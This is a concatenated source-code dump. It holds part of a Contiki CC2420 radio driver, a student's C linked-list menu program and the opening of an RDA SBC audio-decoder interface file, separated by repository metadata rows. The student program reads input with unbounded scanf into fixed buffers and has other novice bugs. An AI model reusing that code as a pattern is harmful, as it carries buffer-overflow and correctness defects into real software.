} else if(len - FOOTER_LEN > bufsize) {
RIMESTATS_ADD(toolong);
} else {
getrxdata((uint8_t *) buf, len - FOOTER_LEN);
getrxdata(footer, FOOTER_LEN);
if(footer[1] & FOOTER1_CRC_OK) {
radio_last_rssi = cc2420_last_rssi = footer[0];
radio_last_correlation = cc2420_last_correlation = footer[1] & FOOTER1_CORRELATION;
if(!interrupt_enabled) {
/* If interrupt are disabled, this function is possibly called from interrupt
* by the MAC or RDC layer. Don't write to packetbuf in interrupt. */
packetbuf_set_attr(PACKETBUF_ATTR_RSSI, cc2420_last_rssi-45);
#ifndef WITHOUT_ATTR_LINK_QUALITY
packetbuf_set_attr(PACKETBUF_ATTR_LINK_QUALITY, cc2420_last_correlation);
#endif /* WITHOUT_ATTR_LINK_QUALITY */
}
RIMESTATS_ADD(llrx);
} else {
RIMESTATS_ADD(badcrc);
len = FOOTER_LEN;
}
if(interrupt_enabled) {
if(CC2420_FIFOP_IS_1) {
if(!CC2420_FIFO_IS_1) {
/* Clean up in case of FIFO overflow! This happens for every
* full length frame and is signaled by FIFOP = 1 and FIFO =
* 0. */
flushrx();
} else {
/* Another packet has been received and needs attention. */
process_poll(&cc2420_process);
}
}
}
RELEASE_LOCK();
return len - FOOTER_LEN;
}
flushrx();
RELEASE_LOCK();
return 0;
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_txpower(uint8_t power)
{
GET_LOCK();
set_txpower(power);
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
int
cc2420_get_txpower(void)
{
int power;
GET_LOCK();
power = (int)(getreg(CC2420_TXCTRL) & 0x001f);
RELEASE_LOCK();
return power;
}
/*---------------------------------------------------------------------------*/
int
cc2420_rssi(void)
{
int rssi;
int radio_was_off = 0;
if(locked) {
return 0;
}
GET_LOCK();
if(!receive_on) {
radio_was_off = 1;
cc2420_on();
}
wait_for_status(BV(CC2420_RSSI_VALID));
rssi = (int)((signed char) getreg(CC2420_RSSI));
rssi += RSSI_OFFSET;
if(radio_was_off) {
cc2420_off();
}
RELEASE_LOCK();
return rssi;
}
/*---------------------------------------------------------------------------*/
static int
cc2420_cca(void)
{
int cca;
int radio_was_off = 0;
/* If the radio is locked by an underlying thread (because we are
being invoked through an interrupt), we preted that the coast is
clear (i.e., no packet is currently being transmitted by a
neighbor). */
if(locked) {
return 1;
}
GET_LOCK();
if(!receive_on) {
radio_was_off = 1;
cc2420_on();
}
/* Make sure that the radio really got turned on. */
if(!receive_on) {
RELEASE_LOCK();
if(radio_was_off) {
cc2420_off();
}
return 1;
}
wait_for_status(BV(CC2420_RSSI_VALID));
cca = CC2420_CCA_IS_1;
if(radio_was_off) {
cc2420_off();
}
RELEASE_LOCK();
return cca;
}
/*---------------------------------------------------------------------------*/
static int
cc2420_receiving_packet(void)
{
return CC2420_SFD_IS_1;
}
/*---------------------------------------------------------------------------*/
int
cc2420_rx_byte_available(void)
{
return CC2420_FIFO_IS_1;
}
/*---------------------------------------------------------------------------*/
static int
pending_packet(void)
{
return CC2420_FIFOP_IS_1;
}
/*---------------------------------------------------------------------------*/
static int
get_cca_threshold(void)
{
int value;
GET_LOCK();
value = (int8_t)(getreg(CC2420_RSSI) >> 8);
RELEASE_LOCK();
return value;
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_cca_threshold(int value)
{
uint16_t shifted = value << 8;
GET_LOCK();
setreg(CC2420_RSSI, shifted);
RELEASE_LOCK();
}
#if CONTIKI_TARGET_SKY || CONTIKI_TARGET_Z1
#define SFD_FIFO_CORRECTION 0
/* Configures timer B to capture SFD edge (start, end, both),
* and sets the link start time for calculating synchronization in ACK */
void
cc2420_sfd_sync(uint8_t capture_start_sfd, uint8_t capture_end_sfd)
{
/* Need to select the special function! */
P4SEL = BV(CC2420_SFD_PIN);
/* start timer B - 32768 ticks per second */
//TBCTL = TBSSEL_1 | TBCLR;
/* Set timer B source to dco, divider to 1 and clear */
TBCTL = TBSSEL_2 /*| ID_0*/ | TBCLR;
if(capture_start_sfd && capture_end_sfd) {
/* Capture mode: 3 - both edges */
TBCCTL1 = CM_3;
} else if(capture_end_sfd){
/* Capture mode: 2 - neg. edge */
TBCCTL1 = CM_2;
} else if(capture_start_sfd) {
/* Capture mode: 1 - pos. edge */
TBCCTL1 = CM_1;
} else {
/* Capture mode: 0 - disabled */
TBCCTL1 = CM_0;
}
TBCCTL1 |= CAP | SCS;
/* disable sfd interrupt */
TBCCTL1 &= ~CCIE;
/* Enable capture mode for timers B6 and A2 (ACLK)
* capture TB for every TA tick (to enable the virtual high precision timer)
* */
TBCCTL6 = (CCIS0 | CM_1 | CAP | SCS);
TBCCTL6 &= ~CCIE;
TACCTL2 = CCIS0 | CM_1 | CAP | SCS;
TACCTL2 &= ~CCIE;
/* Start Timer_B in continuous mode. */
TBCTL |= MC1;
}
#else
void
cc2420_sfd_sync(uint8_t capture_start_sfd, uint8_t capture_end_sfd)
{
/* Need to select the special function! */
//We can't capture SFD so we capture FIFO and correct for the 1 byte difference
CC2420_FIFO_PORT(SEL) = BV(CC2420_FIFO_PIN);
/* start timer A - 32768 ticks per second */
//TACTL = TASSEL_1 | TACLR;
/* Set timer A source to SMCLK, divider to 1 and clear */
TACTL = TASSEL_2 /*| ID_0*/ | TACLR;
if(capture_start_sfd && capture_end_sfd) {
/* Capture mode: 3 - both edges */
TACCTL2 = CM_3;
} else if(capture_end_sfd){
/* Capture mode: 2 - neg. edge */
TACCTL2 = CM_2;
} else if(capture_start_sfd) {
/* Capture mode: 1 - pos. edge */
TACCTL2 = CM_1;
} else {
/* Capture mode: 0 - disabled */
TACCTL2 = CM_0;
}
TACCTL2 |= CAP | SCS;
/* disable sfd interrupt */
TACCTL2 &= ~CCIE;
/* Enable capture mode for timers A2 and B2 (ACLK)
* capture TA for every TB tick (to enable the virtual high precision timer)
* */
//We can't do this. We use it for capturing FIFO
// TACCTL2 = (CCIS0 | CM_1 | CAP | SCS);
// TACCTL2 &= ~CCIE;
TBCCTL2 = CCIS0 | CM_1 | CAP | SCS;
TBCCTL2 &= ~CCIE;
/* Start Timer_A in continuous mode. */
TACTL |= MC1;
}
#define SFD_FIFO_CORRECTION (CHAOS_PACKET_DURATION_DCO(1))
#endif
#define SFD_READ_DELAY (50)
/* Read the timer value when the last SFD edge was captured,
* this depends on SFD timer configuration */
uint16_t
cc2420_read_sfd_timer(void)
{
volatile uint16_t t1 = 0, t2 = 0;
do {
clock_delay(SFD_READ_DELAY);
t1 = SFD_CAPTURE_REG;
clock_delay(SFD_READ_DELAY);
t2 = SFD_CAPTURE_REG;
} while( t1 != t2 );
return t1 - SFD_FIFO_CORRECTION;
}
/* Turn on/off address decoding.
* Disabling address decoding would enable reception of
* frames not compliant with the 802.15.4-2003 standard */
void
cc2420_address_decode(uint8_t enable)
{
GET_LOCK();
address_decoding_enabled = enable;
/* Turn on/off address decoding. */
uint16_t reg = getreg(CC2420_MDMCTRL0);
if(enable) {
reg |= ADR_DECODE;
} else {
reg &= ~(ADR_DECODE);
}
/* Writing RAM requires crystal oscillator to be stable. */
BUSYWAIT_UNTIL((status() & (BV(CC2420_XOSC16M_STABLE))), RTIMER_SECOND / 10);
/* Wait for any transmission to end. */
BUSYWAIT_UNTIL(!(status() & BV(CC2420_TX_ACTIVE)), RTIMER_SECOND / 10);
setreg(CC2420_MDMCTRL0, reg);
RELEASE_LOCK();
}
/* Turn on/off autoack */
void
cc2420_set_autoack(uint8_t enable)
{
GET_LOCK();
/* Turn on/off address decoding. */
uint16_t reg = getreg(CC2420_MDMCTRL0);
if(enable) {
reg |= AUTOACK;
} else {
reg &= ~(AUTOACK);
}
/* Writing RAM requires crystal oscillator to be stable. */
BUSYWAIT_UNTIL((status() & (BV(CC2420_XOSC16M_STABLE))), RTIMER_SECOND / 10);
/* Wait for any transmission to end. */
BUSYWAIT_UNTIL(!(status() & BV(CC2420_TX_ACTIVE)), RTIMER_SECOND / 10);
setreg(CC2420_MDMCTRL0, reg);
RELEASE_LOCK();
}
/* Enable or disable radio interrupts (both FIFOP and SFD timer capture) */
void
cc2420_set_interrupt_enable(uint8_t e)
{
GET_LOCK();
interrupt_enabled = e;
if(e) {
/* Initialize and enable FIFOP interrupt */
CC2420_FIFOP_INT_INIT();
CC2420_ENABLE_FIFOP_INT();
CC2420_CLEAR_FIFOP_INT();
/* Enable SFD timer capture interrupt */
TBCCTL1 |= CCIE;
} else {
/* Disable FIFOP interrupt */
CC2420_CLEAR_FIFOP_INT();
CC2420_DISABLE_FIFOP_INT();
/* Disable SFD timer capture interrupt */
TBCCTL1 &= ~CCIE;
}
RELEASE_LOCK();
}
/* Get radio interrupt enable status */
uint8_t
cc2420_get_interrupt_enable(void)
{
return interrupt_enabled;
}
void
cc2420_set_fifop(uint8_t p)
{
GET_LOCK();
/* Writing RAM requires crystal oscillator to be stable. */
BUSYWAIT_UNTIL((status() & (BV(CC2420_XOSC16M_STABLE))), RTIMER_SECOND / 10);
/* Wait for any transmission to end. */
BUSYWAIT_UNTIL(!(status() & BV(CC2420_TX_ACTIVE)), RTIMER_SECOND / 10);
setreg(CC2420_IOCFG0, (p) & 0x7f);
RELEASE_LOCK();
}
| [
"beshr@chalmers.se"
] | beshr@chalmers.se |
f28602c97e178e2d05294ddb3569db10550b840a | 60f97d014f32251d4d8ab593c637df43c289dadf | /class_repo/performance/optimized-link-list.c/optimized-link-list.c/linked-list.c | c0ded8de4492c1063c346132cc8a08db1871f1c2 | [] | no_license | kyoder17/Cprogramming | fd14b329f3d4f0f86b2c050838a4896ec42232be | 6327b1b53b12f5851383a72f7977d8b5c4f7a8d9 | refs/heads/master | 2020-03-22T20:13:03.234803 | 2018-09-04T15:00:36 | 2018-09-04T15:00:36 | 140,303,472 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 7,245 | c | /*
Kyle Yoder
Linked list
1 Aug 2018
*/
#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "linked-list.h"
#include <time.h>
clock_t start, end;
double cpu_time_used;
int main()
{
int selection = 0;
int selectStud = 0;
//create the structure of students and thier info
struct studentInfo student1 = { "Abraham Lincoln","AL", "Maroon5", "Lamborghini Aventador", 10, NULL };
struct studentInfo student2 = { "Dennis the Menace","DtM", "Drake", "Lamborghini Aventador", 9, &student1 };
struct studentInfo student3 = { "Gandolf the Grey","GtG", "Ariana Grande", "Large Eagle", 8, &student2 };
struct studentInfo student4 = { "John F Kennedy","JFK", "Maroon5", "Lamborghini Aventador", 7, &student3 };
struct studentInfo student5 = { "Martin Luther King","MLK", "Maroon5", "Lamborghini Aventador", 6, &student4 };
struct studentInfo student6 = { "Peter Parker","PP", "Maroon5", "Lamborghini Aventador", 5, &student5 };
struct studentInfo student7 = { "Stevo","S", "Maroon5", "Lamborghini Aventador", 4, &student6 };
struct studentInfo student8 = { "Vader, Darth","VD", "Maroon5", "Lamborghini Aventador", 3, &student7 };
struct studentInfo student9 = { "Yosemite Sam","YS", "Maroon5", "Horse", 2, &student8 };
struct studentInfo student10 = { "Zerg Rush","ZR", "Beatles", "On Foot", 1, &student9 };
struct studentInfo *head = &student10;
// loop though until user is done making selctions
while (selection < 9)
{
selection = selectPrint();
if (selection == 0)
{
printAllInfo(head);
}
else if (selection >= 1 && selection <= 3)
{
printSelectInfo(head, selection);
}
else if (selection == 4)
{
selectStud=selectStudent(head);
printSpecialStudent(head, selectStud);
}
else if(selection == 5)
{
testImput(head);
}
else if (selection == 6)
{
addStudentEnd(head);
}
else if (selection == 7)
{
removeStudentEnd(head);
}
else if (selection == 8)
{
removeSpecificStudent(head);
resetStudentNumber(head);
}
else if (selection > 8 || selection < 0)
{
break;
}
}
getchar(); getchar();
return 0;
}
void printAllInfo(struct studentInfo *head)
{
start = clock();
while (head != NULL)
{
printf("%s ", head->name);
printf("%s ", head->initials);
printf("%s ", head->artist);
printf("%s \n", head->car);
head = head->next_node;
}
end = clock();
cpu_time_used = ((double)(end - start)) / CLOCKS_PER_SEC;
printf("\ntime to execute is %fl \n", cpu_time_used);
return 0;
}
int selectPrint()
{
int selection = 4;
printf("\nPlease select what you would like to have printed. \n");
printf(" Enter 0 for all information \n");
printf(" Enter 1 for initials \n");
printf(" Enter 2 for favorite artist \n");
printf(" Enter 3 for dream car \n");
printf(" Enter 4 to select a specific student \n");
printf(" Enter 5 for just names \n");
printf(" Enter 6 to enter a new student \n");
printf(" Enter 7 to remove last student \n");
printf(" Enter 8 to remove selected student \n");
printf(" Enter 9 to exit selection list \n");
scanf("%d", &selection);
return selection;
}
void printSelectInfo(struct studentInfo *head, int selection)
{
if (selection == 1)
{
while (head != NULL)
{
printf("%s ", head->name);
printf("%s \n", head->initials);
head = head->next_node;
}
}
else if (selection == 2)
{
while (head != NULL)
{
printf("%s ", head->name);
printf("%s \n", head->artist);
head = head->next_node;
}
}
else if (selection == 3)
{
while (head != NULL)
{
printf("%s ", head->name);
printf("%s \n", head->car);
head = head->next_node;
}
}
else
{
printf("bad selection");
return 0;
}
}
int selectStudent(struct studentInfo *head)
{
int selectStud;
while (head != NULL)
{
printf("%d ", head->studentNumber);
printf("%s \n", head->name);
head = head->next_node;
}
printf("Enter the number coresponding to the student you wish to print info for. \n");
scanf("%d", &selectStud);
return selectStud;
}
void printSpecialStudent(struct studentInfo *head, int selectStud)
{
while (head != NULL)
{
if (head->studentNumber != selectStud)
{
head = head->next_node;
}
else if (head->studentNumber == selectStud)
{
printf("\n%s ", head->name);
printf("%s ", head->initials);
printf("%s ", head->artist);
printf("%s \n", head->car);
return 0;
}
else
{
printf("Selection was not in the list of students.");
return 0;
}
}
}
void testImput(struct studentInfo *head)
{
while (head != NULL)
{
printf("%s \n", head->name);
head = head->next_node;
}
return 0;
}
void addStudentEnd(struct studentInfo *head)
{
struct studentInfo *tempHead = head;
char newName[256];
char newInitials[256] = { 0 };
char newArtist[256];
char newCar[256];
int newStudentNumber;
int counter =0;
while (tempHead != NULL)
{
tempHead = tempHead->next_node;
counter++;
}
newStudentNumber = counter + 1;
printf("Please enter the name of the student. \n");
scanf("%s", &newName);
printf("Please enter the initials of the student. \n");
scanf("%s", &newInitials);
printf("Please enter the favorite artist of the student. \n");
scanf("%s", &newArtist);
printf("Please enter the dream car of the student. \n");
scanf("%s", &newCar);
if (newName&&newInitials&&newArtist&&newCar)
{
node * lastName = (node*)malloc(sizeof(node));
strcpy(lastName->name, newName);
strcpy(lastName->initials, newInitials);
strcpy(lastName->artist, newArtist);
strcpy(lastName->car, newCar);
lastName->studentNumber = newStudentNumber;
lastName->next_node = NULL;
int shift = 0;
while (shift == 0)
{
if (head->next_node != NULL)
{
head = head->next_node;
}
else if (head->next_node == NULL)
{
(head->next_node) = lastName;
shift = 1;
return 0;
}
else
{
printf("No more room for new studnets!");
}
}
}
}
void removeStudentEnd(struct studentInfo *head)
{
struct studentInfo *tempHead = head;
int shift = 0;
int counter=0;
while (shift == 0)
{
if (tempHead->next_node != NULL)
{
tempHead = tempHead->next_node;
counter++;
}
else if (tempHead->next_node == NULL)
{
counter++;
break;
}
}
for (int i = 1; i < (counter-1); i++)
{
head = head->next_node;
}
head->next_node = NULL;
printf("\nStudent Removed. \n");
}
void removeSpecificStudent(struct studentInfo *head)
{
int counter = 1;
struct studentInfo *tempHead = head;
int studentChosen;
studentChosen = selectStudent(head);
//printf("%d\n", studentChosen);
while (tempHead != NULL)
{
if (tempHead->studentNumber != studentChosen)
{
tempHead = tempHead->next_node;
counter++;
}
else if (tempHead->studentNumber == studentChosen)
{
//printf("%d\n", counter);
break;
}
}
while (head != NULL)
{
if (head->studentNumber != (studentChosen-1))
{
head = head->next_node;
}
else if (head->studentNumber == (studentChosen -1))
{
head->next_node = tempHead->next_node;
break;
}
}
}
int resetStudentNumber(struct studentInfo *head)
{
int startNum;
startNum =head->studentNumber;
while (head != NULL)
{
head->studentNumber = startNum;
head = head->next_node;
startNum++;
}
}
| [
"kyle.yoder17@gmail.com"
] | kyle.yoder17@gmail.com |
bdf2f69e90c0e6a102ead904ce9a69be2214afed | 544aa0a7f119ef1c8860c39f188b41f1bbd9d1c8 | /IoT-RDA5836_3.3/platform/system/mdi/alg/sbc_dec_voc/src/vpp_sbc_dec.c | 1674efa297db62d717aeffec58e9e4691792ab89 | [] | no_license | Edragon/RDA-RDA5856 | e337b5ea357068e37dfd6c6525ae58527b26d743 | b8e7fb8e8915faf6163e28178861a6a94aa63c6e | refs/heads/master | 2021-09-07T23:08:38.284445 | 2018-03-02T17:43:32 | 2018-03-02T17:43:32 | 123,610,783 | 2 | 6 | null | null | null | null | UTF-8 | C | false | false | 23,058 | c | /*
* Copyright (c) 2006-2016 RDA Microelectronics, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*************************************************************************/
/* */
/* FILE NAME */
/* vpp.c */
/* */
/* DESCRIPTION */
/* This file contains the VPP API functions. */
/* */
/*************************************************************************/
//#include "stdio.h"
#include "cs_types.h"
#include "hal_error.h"
#include "hal_voc.h"
#include "mcip_debug.h"
#include "vpp_sbc_dec.h"
#include "tgt_calib_m.h"
#include "tgt_aud_cfg.h"
#include "aud_m.h"
#include "protos.h"
#include "analog_audio_iir.h"
#include "mci.h"
#include "audio_voc_map.h"
#define vpp_SBC_DEC_IN_STRUCT (Input_mode_addr)//(0 + 0x4000)
#define vpp_SBC_DEC_OUT_STRUCT (SBC_DEC_FRAME_FREQUENCY)//(82 + 0x4000)
#define vpp_SBC_DEC_OUT_STATUS (Output_ERR_Status_addr)//(29 + 0x4000)
#define vpp_SBC_DEC_IN_LENGTH (SBCDEC_INPUTSTREAM_LENGTH_ADDR)//(74 + 0x4000)
#define vpp_SBC_DEC_OUT_LENGTH (SBCDEC_OUTPUTSTREAM_LENGTH_ADDR)//(78 + 0x4000)
#define vpp_SBC_DEC_INIT (SBC_DEC_FRAME_INIT)//(95+0x4000)
#define VPP_SBC_Code_ExternalAddr_addr (H263_Zoom_Code_ExternalAddr_addr)//(68 + 0x4000)
#define VPP_SBC_MIXING_AUDIO_FLAGE (sbc_mixing_audio_flag)//(4158+74+0X4000)
/*
//below defined in audio_voc_map.h
#define SBC_DEC_PCM_OUT_ADDR_begain (4248+74+0X4000)
#define SBC_DEC_PCM_OUT_ADDR_end (4250+74+0X4000)
#define sbc_detect_pval_addr (4244+74+0x4000)
#define sbc_detect_nval_addr (4246+74+0x4000)
#define sbc_detect_mute_addr (4260+74+0x4000)
#define SBC_48K_SET_DMA_OUT_LENGTH_FLAG (4254+74+0x4000)
#define SBC_44_1K_TO_48K_ENABLE_FLAG (4262+74+0x4000)
#define SBC_44_1K_TO_48K_InterPhase (4263+74+0x4000)
#define SBC_44_1K_TO_48K_REMAIN_LENGTH (4585+74+0x4000)
#define SBCDEC_IIR_ENABLE_FLAG_ADDR (5332+74+0x4000)
#define m_SBCDEC_IIRProcPara_ADDR (5334+74+0x4000)
#define GLOBAL_DIGITAL_GAIN_SBCDEC_ADDR (4166+74+0x4000)
#define SBC_DEC_FRAME_BLOCKS (10+74+0x4000)
#define SBC_DEC_FRAME_CHANNELS (12+74+0x4000)
#define SBC_DEC_FRAME_SUBBANDS (15+74+0x4000)
#define SBC_DEC_FRAME_SB_SAMPLE (94+74+0x4000)
*/
#define VPP_SBC_DRC_MODE_Code_ExternalAddr_addr JPEG_Dec_Code_ExternalAddr_addr
#define vpp_AudioJpeg_DEC_CODE_SIZE (280*4)
#define vpp_AudioJpeg_DEC_CODE_ENTRY 0
#define vpp_AudioJpeg_DEC_CRITICAL_SECTION_MIN 0
#define vpp_AudioJpeg_DEC_CRITICAL_SECTION_MAX 0
//#define VPP_SBC_SAMPLING_FREQ_16000 0
//#define VPP_SBC_SAMPLING_FREQ_32000 1
//#define VPP_SBC_SAMPLING_FREQ_44100 2
//#define VPP_SBC_SAMPLING_FREQ_48000 3
//common code
extern const INT32 G_VppCommonDecCode[];
extern const INT32 G_VppSBCDecCode[];
extern const INT32 G_VppSBCDecConstX[];
extern const INT32 G_VppDRCCode[];
extern const INT32 G_VppDRCConst[];
static bool reCalcSbcdecEQ = 0;
static INT16 SbcdecFirstFlag = 1;
extern AUD_ITF_T audioItf;
extern void vpp_DecSetDrcmodeParam(CALIB_AUDIO_MUSIC_DRC_T drc_control,INT16 alg_gain);
void vpp_SBCSetBandInfoEnable(uint16 flag)
{
*((UINT16 *)hal_VocGetPointer(SBCDEC_BAND_INFO_ENABLE_FLAG_ADDR)) = flag;
}
#ifdef MUSIC_BAND_INFO
void vpp_SBCGetBandInfo(uint16 * band_buf)
{
UINT32 band[8];
int i;
UINT32 channels = *((UINT16 *)hal_VocGetPointer(SBC_DEC_FRAME_CHANNELS));
UINT32 blocks = *((UINT16 *)hal_VocGetPointer(SBC_DEC_FRAME_BLOCKS));
UINT32 *pBandVoCInfo = (UINT32 *)hal_VocGetPointer(m_SBCDEC_BAND_INFO_ADDR);
//hal_HstSendEvent(SYS_EVENT,0x20170223);
for(i=0; i<8;i++)
{
band[i] = *(pBandVoCInfo+i);
if(channels == 2)
{
band[i] >>= (1+3); //8 frame;
}
else
{
band[i] >>= 3; //8 frame;
}
if(blocks == 4)
{
band[i] >>= 2;
}
else
{
band[i] >>= 3;
}
band_buf[i] = (UINT16) band[i];
//hal_HstSendEvent(SYS_EVENT,band_buf[i]);
//hal_HstSendEvent(SYS_EVENT,band[i]);
}
}
#endif
//=============================================================================
// vpp_SBCSetKalaokMode function
//-----------------------------------------------------------------------------
void vpp_SBCSetKalaokMode(uint16 flag)
{
*((UINT16 *)hal_VocGetPointer(sbc_support_kalaok_flag)) = flag;
}
//=============================================================================
// vpp_SBCGetNoUsedAddr function
//-----------------------------------------------------------------------------
UINT16 * vpp_SBCGetVoCNoUsedAddr(void)
{
return ((UINT16 *)hal_VocGetPointer(SBCDEC_NO_USED_X_ADDR));// size of noused memory is 20480 - SBCDEC_NO_USED_X_ADDR;
}
//=============================================================================
// vpp_AudioJpegDecOpen function
//-----------------------------------------------------------------------------
HAL_ERR_T vpp_SBCDecOpen(HAL_VOC_IRQ_HANDLER_T vocIrqHandler)
{
HAL_VOC_CFG_T cfg;
vpp_SBC_DEC_IN_T * pDecIn;
vpp_SBC_DEC_OUT_T *pDecStatus;
INT32 * *pDMA;
//INT32 * pDataInit;
//INT16 *pVocEq;
diag_printf("[vpp_AudioJpeg_DEC]Opening VPP SBC_DEC\n");
hal_HstSendEvent(SYS_EVENT,0x8810000a);
cfg.vocCode = G_VppCommonDecCode;
cfg.vocCodeSize = vpp_AudioJpeg_DEC_CODE_SIZE;
cfg.pcVal = vpp_AudioJpeg_DEC_CODE_ENTRY;
cfg.pcValCriticalSecMin = vpp_AudioJpeg_DEC_CRITICAL_SECTION_MIN;
cfg.pcValCriticalSecMax = vpp_AudioJpeg_DEC_CRITICAL_SECTION_MAX;
cfg.needOpenDoneIrq = FALSE;
cfg.irqMask.voc = (vocIrqHandler) ? 1 : 0;
cfg.irqMask.dmaVoc = 0;
cfg.vocIrqHandler = vocIrqHandler;
cfg.eventMask.wakeupIfc0 = 0;
cfg.eventMask.wakeupIfc1 = 0;
cfg.eventMask.wakeupDmae = 0;
cfg.eventMask.wakeupDmai = 0;
cfg.eventMask.wakeupSof0 = 0;
cfg.eventMask.wakeupSof1 = 0;
// load the VPP AUDIO_DEC code and configure the VoC resource
switch (hal_VocOpen(&cfg))
{
// error opening the resource
case HAL_ERR_RESOURCE_BUSY:
diag_printf("[vpp_AudioJpeg_DEC]##WARNING##Error opening VoC resource\n");
return HAL_ERR_RESOURCE_BUSY;
// first open, load the constant tables
case HAL_ERR_RESOURCE_RESET:
diag_printf("[vpp_AudioJpeg_DEC]First open.\n");
break;
default:
diag_printf("[vpp_AudioJpeg_DEC]No first open.\n");
break;
}
diag_printf("[vpp_AudioJpeg_DEC]Initializing the DMA addr.\n");
//sbc dec
pDMA = hal_VocGetPointer(VPP_SBC_Code_ExternalAddr_addr);
*pDMA=hal_VocGetDmaiPointer((INT32*)G_VppSBCDecCode, HAL_VOC_DMA_READ,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
pDMA=pDMA+1;
*pDMA=hal_VocGetDmaiPointer((INT32*)G_VppSBCDecConstX, HAL_VOC_DMA_READ,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
*((INT16 *)hal_VocGetPointer(Drc_Code_Load_Enable_addr)) = 1;
pDMA = hal_VocGetPointer(VPP_SBC_DRC_MODE_Code_ExternalAddr_addr);
*pDMA=hal_VocGetDmaiPointer((INT32*)G_VppDRCCode, HAL_VOC_DMA_READ,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
pDMA=pDMA+1;
*pDMA=hal_VocGetDmaiPointer((INT32*)G_VppDRCConst, HAL_VOC_DMA_READ,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
pDecIn = hal_VocGetPointer(vpp_SBC_DEC_IN_STRUCT);
pDecIn->reset=1;
pDecIn->mode=15;
pDecIn->EQ_Type=0;
pDecStatus = (vpp_SBC_DEC_OUT_T *)hal_VocGetPointer(vpp_SBC_DEC_OUT_STRUCT);
pDecStatus->ErrorStatus=0;
*((INT16*)hal_VocGetPointer(VPP_SBC_MIXING_AUDIO_FLAGE))=0;
*((INT16 *)hal_VocGetPointer(vpp_SBC_DEC_INIT)) = 0;
//init pcm upsample from 44_1K TO 48K
*((INT16*)hal_VocGetPointer(SBC_44_1K_TO_48K_InterPhase))=0;
*((INT16*)hal_VocGetPointer(SBC_44_1K_TO_48K_REMAIN_LENGTH))=0;
*((INT16*)hal_VocGetPointer(SBC_48K_SET_DMA_OUT_LENGTH_FLAG))=0;
//set eq param
*((INT16 *)hal_VocGetPointer(IIR_ENABLE_FLAG_ADDR)) = 0;
*((INT16 *)hal_VocGetPointer(IIR_PCM_BAND_ACTIVE_NUM)) = 0;
vpp_SBCDecSetAudioParamReloadFlag(3);
SbcdecFirstFlag = 1;
vpp_SBCDecSetDetectMuteThd(1);
#ifdef MUSIC_BAND_INFO
vpp_SBCSetBandInfoEnable(1);
#else
vpp_SBCSetBandInfoEnable(0);
#endif
#ifdef A2DP_SAMPLE_44_1K_TO_48K
vpp_SBCDecSampleCoverEnable();
#else
vpp_SBCDecSampleCoverDisable();
#endif
#ifdef KALAOK_SUPPORT
vpp_SBCSetKalaokMode(1);
#else
vpp_SBCSetKalaokMode(0);
#endif
// move to STALL location (VoC irq generated)
vpp_SBCSetMixMode(0);
return hal_VocWakeup(HAL_VOC_START);
}
//=============================================================================
// vpp_AudioJpegDecClose function
//-----------------------------------------------------------------------------
void vpp_SBCDecClose(void)
{
hal_VocClose();
diag_printf("[vpp_AudioSbc_DEC]Closing VPP\n");
}
//=============================================================================
// vpp_SBCDecStatus function
//-----------------------------------------------------------------------------
void vpp_SBCDecStatus(vpp_SBC_DEC_OUT_T * pDecStatus)
{
// copy status structure from VoC RAM to the destination.
*pDecStatus = *((vpp_SBC_DEC_OUT_T *)hal_VocGetPointer(vpp_SBC_DEC_OUT_STRUCT));
pDecStatus->ErrorStatus = *((INT16 *)hal_VocGetPointer(vpp_SBC_DEC_OUT_STATUS));
pDecStatus->sample_length = *((INT32 *)hal_VocGetPointer(vpp_SBC_DEC_OUT_LENGTH));
}
//=============================================================================
// vpp_SBCDecSampleCoverStart function
//-----------------------------------------------------------------------------
void vpp_SBCDecSampleCoverEnable(void)
{
*((INT16*)hal_VocGetPointer(SBC_44_1K_TO_48K_ENABLE_FLAG))=1;
}
//=============================================================================
// vpp_SBCDecSampleCoverStart function
//-----------------------------------------------------------------------------
void vpp_SBCDecSampleCoverDisable(void)
{
*((INT16*)hal_VocGetPointer(SBC_44_1K_TO_48K_ENABLE_FLAG))=0;
}
//=============================================================================
// vpp_SBCDecSetDetectMuteThd
//-----------------------------------------------------------------------------
///Set Detect Mute Thd;
//=============================================================================
UINT16 vpp_SBCDecSetDetectMuteThd(short Thd)
{
if(Thd < 0)
{
Thd = -Thd;
}
*((INT16*)hal_VocGetPointer(sbc_detect_pval_addr)) = Thd;
*((INT16*)hal_VocGetPointer(sbc_detect_nval_addr)) = 0-Thd;
return 0;
}
//=============================================================================
// vpp_SBCDecDetectMute function
//-----------------------------------------------------------------------------
/// return 1:mute;
//=============================================================================
UINT16 vpp_SBCDecDetectMute(void)
{
return *((INT16*)hal_VocGetPointer(sbc_detect_mute_addr));
}
//=============================================================================
// vpp_SBCSetMixMode function
//-----------------------------------------------------------------------------
/// mdoe 0&1:use target set; 2:use left; 3:use right
//=============================================================================
void vpp_SBCSetMixMode(UINT16 mode)
{
CONST AUD_ITF_CFG_T* audioCfg = tgt_GetAudConfig();
if(mode == 2 || mode == 3)
{
// set mix
*((INT16 *)hal_VocGetPointer(VPP_SBC_MIXING_AUDIO_FLAGE)) = mode;
}
else
{
// set mix
*((INT16 *)hal_VocGetPointer(VPP_SBC_MIXING_AUDIO_FLAGE)) = audioCfg[audioItf].mixAudio;
}
}
//=============================================================================
// vpp_SBCDecCheckOutPcmAddr function
//-----------------------------------------------------------------------------
void vpp_SBCDecCheckOutPcmAddr(UINT32 *pAddrBegain, UINT32 *pAddrEnd)
{
UINT32 *pSbcDecOutPcmAddrBegain = (UINT32 *)hal_VocGetPointer(SBC_DEC_PCM_OUT_ADDR_begain);
